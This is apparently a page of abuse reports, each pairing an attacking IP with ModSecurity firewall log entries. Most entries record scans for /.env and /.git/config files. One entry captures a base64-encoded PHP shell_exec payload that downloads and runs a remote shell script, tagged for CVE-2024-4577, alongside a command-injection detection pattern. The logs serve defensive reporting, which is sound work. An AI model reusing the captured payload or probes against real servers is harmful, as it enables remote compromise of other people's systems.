14/May/2025:03:02:47.573583 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.86.175] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-AT ... show less	Hacking Web App Attack
🇳🇱 93.123.109.231	14 May 2025	14/May/2025:02:50:09.022324 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:02:50:09.022324 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /media/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.133"] [uri "/media/.git/config"] [unique_id "aCPoweTHcqd7mNFoOVpyHwAAC00"] 14/May/2025:02:50:12.079388 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 93.123.109.231] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rule ... show less	Hacking Web App Attack
🇳🇱 196.251.73.140	13 May 2025	14/May/2025:01:30:15.093744 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:01:30:15.093744 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.73.140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.1.53"] [uri "/.env"] [unique_id "aCPWB75D35KBy4C2JYSv-gAADJU"] 14/May/2025:01:30:16.541721 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 196.251.73.140] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATT ... show less	Hacking Web App Attack
🇩🇪 94.156.115.59	13 May 2025	14/May/2025:01:13:42.964600 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:01:13:42.964600 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 94.156.115.59] ModSecurity: Warning. Pattern match "(?i)(?:;\|\\\\\\\\{\|\\\\\\\\\|\|\\\\\\\\\|\\\\\\\\\|\|&\|&&\|\\\\\\\\n\|\\\\\\\\r\|`)\\\\\\\\s[\\\\\\\$,@\\\\\\\\'\\\\"\\\\\\\\s](?:[\\\\\\\\w'\\\\"\\\\\\\\./]+/\|[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]\\\\\\\\w[\\\\\\\\\\\\\\\\'\\\\"\\\\\\\\^]:.\\\\\\\\\\\\\\\\\|[\\\\\\\\^\\\\\\\\.\\\\\\\\w '\\\\"/\\\\\\\\\\\\\\\\]\\\\\\\\\\\\\\\$?[\\\\"\\\\\\\\^](?:m[\\\\"\\\\\\\\^](?:y[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^]q[\\\\"\\\\\\\\^]l(?:[\\\\"\\\\\\\\^](?:d[\\\\"\\\\\\\\^]u[\\\\"\\\\\\\\^]m[\\\\"\\\\\\\\^]p(?:[\\\\"\\\\\\\\^]s[\\\\"\\\\\\\\^ ..." at ARGS:<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [i ... show less	Hacking Web App Attack
🇳🇱 45.144.212.126	13 May 2025	14/May/2025:01:00:24.392913 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client ... show more 14/May/2025:01:00:24.392913 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.144.212.126] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "212.129.45.16"] [uri "/.env"] [unique_id "aCPPCO7hkTfQJ7IIi2ZD8QAABNU"] 14/May/2025:01:00:44.142951 +0200Apache-Error: [file "apache2_util.c"] [line 275] [level 3] [client 45.144.212.126] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-AT ... show less	Hacking Web App Attack